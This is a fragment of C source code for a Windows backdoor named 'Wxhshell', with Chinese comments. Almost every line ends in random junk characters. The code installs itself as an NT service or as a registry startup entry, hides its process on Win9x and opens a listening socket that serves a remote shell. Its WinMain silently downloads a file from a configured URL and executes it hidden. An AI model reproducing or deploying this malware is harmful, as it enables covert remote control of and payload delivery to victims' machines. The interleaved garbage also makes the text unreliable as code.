DWORD BasePriority; t<UJR*R=L
ULONG UniqueProcessId; V?M(exN
ULONG InheritedFromUniqueProcessId; uY.Ns ?8
} PROCESS_BASIC_INFORMATION; C+TB>~Gv`
Y%?S:&GH
PROCNTQSIP NtQueryInformationProcess; `q36`Wn
'f<N7%eZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s\;/U|P_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w0~%,S
@R5^J{T
HANDLE hProcess; e\V
-L_
PROCESS_BASIC_INFORMATION pbi; 2Xe1qzvo
BH0m[9nU;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O >h`
if(NULL == hInst ) return 0; I0+6p8,
%M
iv8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); , -Hj
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5GM-*Ak @
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wyy
1M+
!h.hJt
if (!NtQueryInformationProcess) return 0; HV~Fe!J_
9O 'j+?(`@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >:-e
if(!hProcess) return 0; 9vV==A#
AXlVH%'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S~3|1Hw*tN
KUJ Lx
CloseHandle(hProcess); TaRPMKk
VW\S>=O99
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tczJk1g}
if(hProcess==NULL) return 0; <iky~iE
/wLBmh1"
HMODULE hMod; x@OBGKV
char procName[255]; rQ.zqr
unsigned long cbNeeded; o-=|}u]mz
f8;?WSGyD2
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }<^mUG
OInl?_,,T#
CloseHandle(hProcess); (p5q MP]L
b&P)J|Fe
if(strstr(procName,"services")) return 1; // 以服务启动
JQQ[jl;
,'0#q
return 0; // 注册表启动 $E@n;0P
} &x1A{j_
c -k3<|H`
// 主模块 P*6m~`"5
int StartWxhshell(LPSTR lpCmdLine) !.'D"Me>
{ (X "J)xaQ
SOCKET wsl; fQ5v?(
BOOL val=TRUE; rn|]-^ku/
int port=0; ?>B?*IK!
struct sockaddr_in door; t"4* ]S
p3Ux%/ZqPV
if(wscfg.ws_autoins) Install(); \#,2#BmO"E
vW &G\L
port=atoi(lpCmdLine); 9E ^!i
g[(@@TiG
if(port<=0) port=wscfg.ws_port; .aT@'a{F
K;6#v%
WSADATA data; ':(AiD -}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :GIBB=D9
gkd4)\9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `^[k8Z(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d3c.lD)L9
door.sin_family = AF_INET; Tow=B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rt?CE jy
door.sin_port = htons(port); Pg8.RvmQ
4;AF\De
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $bG*f*w
closesocket(wsl); )7
Mss/2T
return 1; g!}]FQBb
} r,JQR)l0@V
/Z6lnm7wJ
if(listen(wsl,2) == INVALID_SOCKET) { B/;>v
closesocket(wsl); _[R(9KyF0f
return 1; jkL=JAcf~
} bJIYe ld
Wxhshell(wsl); q5_zsUR=
WSACleanup(); :XhF:c[.:
Es+I]o0K
return 0; (?Mn_FNE|
1L*[!QT4
}
b WNa6x
Sh(ys*y>
// 以NT服务方式启动 }>6e-]MHfR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) He=C\"
{ J:Fq i p
DWORD status = 0; mS'Ad<
DWORD specificError = 0xfffffff; j{Px}f(=
zb{79Os[B
serviceStatus.dwServiceType = SERVICE_WIN32; A M[f
serviceStatus.dwCurrentState = SERVICE_START_PENDING; zd[k|lj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C>Hdp_Lm
serviceStatus.dwWin32ExitCode = 0; 2OJlE)
.
serviceStatus.dwServiceSpecificExitCode = 0; s;I
@En
serviceStatus.dwCheckPoint = 0; "<=4]Z
serviceStatus.dwWaitHint = 0; 59zWB,y(P
a=}1`Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uLzE'ZmV
if (hServiceStatusHandle==0) return; JPZp*5c6A
iHhdoY[]
status = GetLastError(); nook/ 7]
if (status!=NO_ERROR) :k_&Zd j,B
{ C~T,[U
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4*}&nmW
serviceStatus.dwCheckPoint = 0; 2A\b-;4EP
serviceStatus.dwWaitHint = 0; r<ww%2HTS
serviceStatus.dwWin32ExitCode = status; LL
e*|:
serviceStatus.dwServiceSpecificExitCode = specificError; p/(Z2N"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #$Zx ].[lc
return; p? L%'
} (e'8>Pv
RTh=x.
serviceStatus.dwCurrentState = SERVICE_RUNNING; O8 .iP+
serviceStatus.dwCheckPoint = 0; =H)]HxEEM
serviceStatus.dwWaitHint = 0; d'96$e o~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /''=V.-N
} f!kZyD7
)l`Ks
// 处理NT服务事件,比如:启动、停止 +A?P 4}
VOID WINAPI NTServiceHandler(DWORD fdwControl) Bug.>ln1
{ G{[w+ObX
switch(fdwControl) k( Sda>-
{ e#/&A5#Ya
case SERVICE_CONTROL_STOP: QwX81*nx
serviceStatus.dwWin32ExitCode = 0; Zy+ERaF|]
serviceStatus.dwCurrentState = SERVICE_STOPPED; EK4%4<"
serviceStatus.dwCheckPoint = 0; {3
serviceStatus.dwWaitHint = 0; S%MDQTM
{ HVus\s\&y%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MU$tX
}
`vH|P
return; Kn->R9Tl
case SERVICE_CONTROL_PAUSE: //c6vG
serviceStatus.dwCurrentState = SERVICE_PAUSED; <\epj=OclV
break; +r!NR?^m
case SERVICE_CONTROL_CONTINUE: Cdz?+hb
serviceStatus.dwCurrentState = SERVICE_RUNNING; OpaRQ=
break; :j`f%Vg~x
case SERVICE_CONTROL_INTERROGATE: h"ZIh= j@
break; `R2Iw
I&
}; >s5}pkAv|e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =J1V?x=l@
} pK-tj
}ex4dhx2M
// 标准应用程序主函数 (W
h)Ov"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^>E>\uz0v
{ ~u$cX1M
!U%
|pa
// 获取操作系统版本 ^>an4UJt
OsIsNt=GetOsVer(); B]tj0FB`-*
GetModuleFileName(NULL,ExeFile,MAX_PATH); /!0&b?
_b<;n|^
// 从命令行安装 KyrZ&E.`
if(strpbrk(lpCmdLine,"iI")) Install(); A@>/PB6n
9.(|ri
// 下载执行文件 ,+df=>$W
if(wscfg.ws_downexe) { t|'%0 W
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hk=[v7
WinExec(wscfg.ws_filenam,SW_HIDE); [KBa=3>{
} 8;pY-j
#
aUNA`
L
if(!OsIsNt) { G4c@v1#%.
// 如果时win9x,隐藏进程并且设置为注册表启动 *KNfPh#wi}
HideProc(); 9~`#aQG T
StartWxhshell(lpCmdLine); xwo*kFg
} wKi#5k2
else ^S`hKv&87
if(StartFromService()) 2n3&uvf'TL
// 以服务方式启动 f5F-h0HF`[
StartServiceCtrlDispatcher(DispatchTable); bz>\n"'
else K W&muD
// 普通方式启动 HsTY* ^V
StartWxhshell(lpCmdLine); R=.?el
lt-3OcC
return 0; Y\WQ0'y
}